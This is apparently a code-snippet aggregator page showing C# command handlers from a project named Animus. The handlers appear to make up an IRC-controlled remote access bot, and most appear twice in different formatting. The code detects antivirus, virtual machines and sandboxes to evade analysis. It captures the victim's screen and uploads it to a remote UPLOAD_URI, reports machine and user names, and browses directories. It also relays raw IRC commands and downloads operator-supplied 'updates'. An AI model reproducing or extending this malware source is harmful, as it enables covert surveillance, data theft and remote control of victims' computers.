示例#1
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            src = source;
            foreach (var arg in args)
            {
                switch (arg)
                {
                case "av":
                case "antivirus":
                    DetectAV();
                    break;

                case "vm":
                case "virtualmachine":
                    DetectVM();
                    break;

                case "sandbox":
                    DetectSandbox();
                    break;
                }
            }
        }
示例#2
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            src      = source;
            filename = string.Format("animus{0}.jpg", Guid.NewGuid().ToString("N"));
            Size sz      = Screen.PrimaryScreen.Bounds.Size;
            var  hDesk   = libgdi32.GetDesktopWindow();
            var  hSrce   = libgdi32.GetWindowDC(hDesk);
            var  hDest   = libgdi32.CreateCompatibleDC(hSrce);
            var  hBmp    = libgdi32.CreateCompatibleBitmap(hSrce, sz.Width, sz.Height);
            var  hOldBmp = libgdi32.SelectObject(hDest, hBmp);
            bool b       = libgdi32.BitBlt(hDest, 0, 0, sz.Width, sz.Height, hSrce, 0, 0, (CopyPixelOperation)0x40cc0020);

            using (var bmp = Image.FromHbitmap(hBmp)) {
                libgdi32.SelectObject(hDest, hOldBmp);
                libgdi32.DeleteObject(hBmp);
                libgdi32.DeleteDC(hDest);
                libgdi32.ReleaseDC(hDesk, hSrce);
                bmp.Save(filename, ImageFormat.Jpeg);
            }
            client.Headers.Add("Content-Type", "binary/octet-stream");
            client.UploadFileCompleted += UploadFileCompletedCallback;
            client.UploadFileAsync(new Uri(UPLOAD_URI), "POST", filename);
        }
示例#3
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            var dir = Directory.GetCurrentDirectory();

            if (args.Length == 1)
            {
                try {
                    if (!Directory.Exists(Path.GetFullPath(args.First())))
                    {
                        NetworkManager.Instance.Notify(source, "Invalid path.");
                        return;
                    }
                } catch (Exception ex) {
                    NetworkManager.Instance.Notify(source, ex.Message);
                    return;
                }
                dir = Path.GetFullPath(args.First());
            }
            var info  = new DirectoryInfo(dir);
            var accum = new StringBuilder();

            info.GetDirectories().ToList().ForEach(p => accum.AppendFormat(" {0,-10} |", p.Name));
            info.GetFiles().ToList().ForEach(p => accum.AppendFormat(" {0,-10} |", p.Name));
            NetworkManager.Instance.Notify(source, accum.ToString().Trim(new [] { ' ', '|' }));
        }
示例#4
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            src = source;
            filename = string.Format ("animus{0}.jpg", Guid.NewGuid ().ToString ("N"));
            Size sz = Screen.PrimaryScreen.Bounds.Size;
            var hDesk = libgdi32.GetDesktopWindow ();
            var hSrce = libgdi32.GetWindowDC (hDesk);
            var hDest = libgdi32.CreateCompatibleDC (hSrce);
            var hBmp = libgdi32.CreateCompatibleBitmap (hSrce, sz.Width, sz.Height);
            var hOldBmp = libgdi32.SelectObject (hDest, hBmp);
            bool b = libgdi32.BitBlt (hDest, 0, 0, sz.Width, sz.Height, hSrce, 0, 0, (CopyPixelOperation)0x40cc0020);
            using (var bmp = Image.FromHbitmap (hBmp)) {
                libgdi32.SelectObject (hDest, hOldBmp);
                libgdi32.DeleteObject (hBmp);
                libgdi32.DeleteDC (hDest);
                libgdi32.ReleaseDC (hDesk, hSrce);
                bmp.Save (filename, ImageFormat.Jpeg);
            }
            client.Headers.Add ("Content-Type", "binary/octet-stream");
            client.UploadFileCompleted += UploadFileCompletedCallback;
            client.UploadFileAsync (new Uri (UPLOAD_URI), "POST", filename);
        }
示例#5
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            Process.GetCurrentProcess ().Kill ();
        }
示例#6
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            NetworkManager.Instance.Notify (source, Environment.CurrentDirectory);
        }
示例#7
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            NetworkManager.Instance.Notify (source,
                "Arguments: {0}", string.Join (" ", Environment.GetCommandLineArgs ()));
        }
示例#8
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            var irc = NetworkManager.Instance.GetUpstream<IrcUpstream> ();
            irc.Client.SendRaw (string.Join (" ", args));
        }
示例#9
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            NetworkManager.Instance.Notify(source, Environment.CurrentDirectory);
        }
示例#10
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            Process.GetCurrentProcess().Kill();
        }
示例#11
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            NetworkManager.Instance.Notify (source, "{0}\\{1}",
                Environment.MachineName.ToLowerInvariant (),
                Environment.UserName.ToLowerInvariant ());
        }
示例#12
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            NetworkManager.Instance.Notify(source,
                                           "Arguments: {0}", string.Join(" ", Environment.GetCommandLineArgs()));
        }
示例#13
0
 public override void Run(IUpstream source, params string[] args)
 {
     if (args.Length > 0) {
         NetworkManager.Instance.SelectedIdentifier = args.First ();
         if (NetworkManager.Instance.IsSelected)
             NetworkManager.Instance.Notify (source, "This client is now the active client.");
     }
     else
         NetworkManager.Instance.Notify (source, "Please provide the short ident as parameter.");
 }
示例#14
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            var irc = NetworkManager.Instance.GetUpstream <IrcUpstream> ();

            irc.Client.SendRaw(string.Join(" ", args));
        }
示例#15
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            NetworkManager.Instance.Notify(source, "{0}\\{1}",
                                           Environment.MachineName.ToLowerInvariant(),
                                           Environment.UserName.ToLowerInvariant());
        }
示例#16
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            if (args.Length != 1) {
                NetworkManager.Instance.Notify (source, "Please provide an URI.");
                return;
            }

            Updater.Instance.DownloadUpdate (args.First ());
        }
示例#17
0
        /// <summary>
        /// Parses the specified command.
        /// </summary>
        /// <param name="com">The command.</param>
        /// <param name="source">The source.</param>
        public static Command Parse(string com, IUpstream source = null)
        {
            var command = new Command();

            command.Source = source;
            com            = com.Trim();
            if (com.Contains(" "))
            {
                command.Name = new string (com.TakeWhile(c => c != ' ').ToArray());
                var argstr     = new string (com.Skip(com.IndexOf(' ') + 1).ToArray());
                var accum      = new StringBuilder();
                var i          = 0;
                var awaitquote = false;
                var lst        = new List <string> ();
                while (i < argstr.Length)
                {
                    if (argstr [i] == '"' && awaitquote)
                    {
                        i++;
                        awaitquote = false;
                    }
                    else if (argstr [i] == '"' && !awaitquote)
                    {
                        i++;
                        awaitquote = true;
                    }
                    if (i == argstr.Length)
                    {
                        break;
                    }
                    if (argstr [i] == ' ' && !awaitquote)
                    {
                        lst.Add(accum.ToString());
                        accum.Clear();
                    }
                    else
                    {
                        accum.Append(argstr [i]);
                    }
                    ++i;
                }
                lst.Add(accum.ToString());
                command.Args = lst.ToArray();
            }
            else
            {
                command.Name = com;
                command.Args = new string[0];
            }
            return(command);
        }
示例#18
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            if (args.Length != 1)
            {
                NetworkManager.Instance.Notify(source, "Please provide an URI.");
                return;
            }

            Updater.Instance.DownloadUpdate(args.First());
        }
示例#19
0
 public override void Run(IUpstream source, params string[] args)
 {
     var backup = NetworkManager.Instance.SelectedIdentifier;
     NetworkManager.Instance.SelectedIdentifier = NetworkManager.Instance.Identifier;
     try {
         ActionPool.Instance.ProcessCommand (new Command {
             Name = args.First (),
             Args = args.Skip (1).ToArray (),
             Source = source,
         });
     } catch {
         NetworkManager.Instance.Notify (source, "An exception occurred while processing the command.");
     }
     NetworkManager.Instance.SelectedIdentifier = backup;
 }
示例#20
0
 public override void Run(IUpstream source, params string[] args)
 {
     try {
         if (args.Length == 1 && Directory.Exists (args [0]))
             Environment.CurrentDirectory = args [0];
         else if (args.Length > 1) {
             var path = string.Join (" ", args);
             if (Directory.Exists (path))
                 Environment.CurrentDirectory = args [0];
         } else
             NetworkManager.Instance.Notify (source, "Invalid path.");
     } catch {
         NetworkManager.Instance.Notify (source, "Invalid path.");
     }
 }
示例#21
0
 public override void Run(IUpstream source, params string[] args)
 {
     if (args.Length > 0)
     {
         NetworkManager.Instance.SelectedIdentifier = args.First();
         if (NetworkManager.Instance.IsSelected)
         {
             NetworkManager.Instance.Notify(source, "This client is now the active client.");
         }
     }
     else
     {
         NetworkManager.Instance.Notify(source, "Please provide the short ident as parameter.");
     }
 }
示例#22
0
        public override void Run(IUpstream source, params string[] args)
        {
            var backup = NetworkManager.Instance.SelectedIdentifier;

            NetworkManager.Instance.SelectedIdentifier = NetworkManager.Instance.Identifier;
            try {
                ActionPool.Instance.ProcessCommand(new Command {
                    Name   = args.First(),
                    Args   = args.Skip(1).ToArray(),
                    Source = source,
                });
            } catch {
                NetworkManager.Instance.Notify(source, "An exception occurred while processing the command.");
            }
            NetworkManager.Instance.SelectedIdentifier = backup;
        }
示例#23
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            this.args = args;

            if (args.Length != 1) {
                NetworkManager.Instance.Notify (source, "Please provide an URI.");
                return;
            }

            Updater.Instance.UpdateAvailable += UpdateAvailableCallback;
            Updater.Instance.NoUpdateAvailable += NoUpdateAvailableCallback;

            Updater.Instance.CheckUpdate (args.First ());
        }
示例#24
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
            {
                return;
            }

            this.args = args;

            if (args.Length != 1)
            {
                NetworkManager.Instance.Notify(source, "Please provide an URI.");
                return;
            }

            Updater.Instance.UpdateAvailable   += UpdateAvailableCallback;
            Updater.Instance.NoUpdateAvailable += NoUpdateAvailableCallback;

            Updater.Instance.CheckUpdate(args.First());
        }
示例#25
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            src = source;
            foreach (var arg in args) {
                switch (arg) {
                case "av":
                case "antivirus":
                    DetectAV ();
                    break;
                case "vm":
                case "virtualmachine":
                    DetectVM ();
                    break;
                case "sandbox":
                    DetectSandbox ();
                    break;
                }
            }
        }
示例#26
0
 /// <summary>
 /// Parses the specified command.
 /// </summary>
 /// <param name="com">The command.</param>
 /// <param name="source">The source.</param> 
 public static Command Parse(string com, IUpstream source = null)
 {
     var command = new Command ();
     command.Source = source;
     com = com.Trim ();
     if (com.Contains (" ")) {
         command.Name = new string (com.TakeWhile (c => c != ' ').ToArray ());
         var argstr = new string (com.Skip (com.IndexOf (' ') + 1).ToArray ());
         var accum = new StringBuilder ();
         var i = 0;
         var awaitquote = false;
         var lst = new List<string> ();
         while (i < argstr.Length) {
             if (argstr [i] == '"' && awaitquote) {
                 i++;
                 awaitquote = false;
             } else if (argstr [i] == '"' && !awaitquote) {
                 i++;
                 awaitquote = true;
             }
             if (i == argstr.Length)
                 break;
             if (argstr [i] == ' ' && !awaitquote) {
                 lst.Add (accum.ToString ());
                 accum.Clear ();
             } else {
                 accum.Append (argstr [i]);
             }
             ++i;
         }
         lst.Add (accum.ToString ());
         command.Args = lst.ToArray ();
     } else {
         command.Name = com;
         command.Args = new string[0];
     }
     return command;
 }
示例#27
0
文件: ActionCd.cs 项目: yd0str/Animus
 public override void Run(IUpstream source, params string[] args)
 {
     try {
         if (args.Length == 1 && Directory.Exists(args [0]))
         {
             Environment.CurrentDirectory = args [0];
         }
         else if (args.Length > 1)
         {
             var path = string.Join(" ", args);
             if (Directory.Exists(path))
             {
                 Environment.CurrentDirectory = args [0];
             }
         }
         else
         {
             NetworkManager.Instance.Notify(source, "Invalid path.");
         }
     } catch {
         NetworkManager.Instance.Notify(source, "Invalid path.");
     }
 }
示例#28
0
        public override void Run(IUpstream source, params string[] args)
        {
            if (!NetworkManager.Instance.IsSelected)
                return;

            var dir = Directory.GetCurrentDirectory ();
            if (args.Length == 1) {
                try {
                    if (!Directory.Exists (Path.GetFullPath (args.First ()))) {
                        NetworkManager.Instance.Notify (source, "Invalid path.");
                        return;
                    }
                } catch (Exception ex) {
                    NetworkManager.Instance.Notify (source, ex.Message);
                    return;
                }
                dir = Path.GetFullPath (args.First ());
            }
            var info = new DirectoryInfo (dir);
            var accum = new StringBuilder ();
            info.GetDirectories ().ToList ().ForEach (p => accum.AppendFormat (" {0,-10} |", p.Name));
            info.GetFiles ().ToList ().ForEach (p => accum.AppendFormat (" {0,-10} |", p.Name));
            NetworkManager.Instance.Notify (source, accum.ToString ().Trim (new [] { ' ', '|' }));
        }
示例#29
0
 public override void Run(IUpstream source, params string[] args)
 {
     NetworkManager.Instance.Notify (source, NetworkManager.Instance.FullGuid ());
 }
示例#30
0
 public void RegisterUpstream(IUpstream upstream)
 {
     upstreamSources.Add(upstream);
 }
示例#31
0
 public override void Run(IUpstream source, params string[] args)
 {
     NetworkManager.Instance.Notify(source, NetworkManager.Instance.FullGuid());
 }
示例#32
0
 public void Notify(IUpstream source, string format, params object[] args)
 {
     source.Notify(format, args);
 }
示例#33
0
 public void ProcessCommand(IUpstream source, string command)
 {
     ProcessCommandOn(actions, source, command);
 }
示例#34
0
 /// <summary>
 /// Runs this command.
 /// </summary>
 /// <param name="source">Source.</param>
 /// <param name="args">Arguments.</param>
 public virtual void Run(IUpstream source, params string[] args)
 {
 }
示例#35
0
 /// <summary>
 /// Runs this command.
 /// </summary>
 /// <param name="source">Source.</param>
 /// <param name="args">Arguments.</param>
 public virtual void Run(IUpstream source, params string[] args)
 {
 }
示例#36
0
        public void ProcessCommandOn(List <HostAction> actions, IUpstream source, string command)
        {
            var com = Command.Parse(command, source);

            ProcessCommandOn(actions, com);
        }
示例#37
0
 public void ProcessCommand(IUpstream source, string command)
 {
     ProcessCommandOn (actions, source, command);
 }
示例#38
0
 public void ProcessCommandOn(List<HostAction> actions, IUpstream source, string command)
 {
     var com = Command.Parse (command, source);
     ProcessCommandOn (actions, com);
 }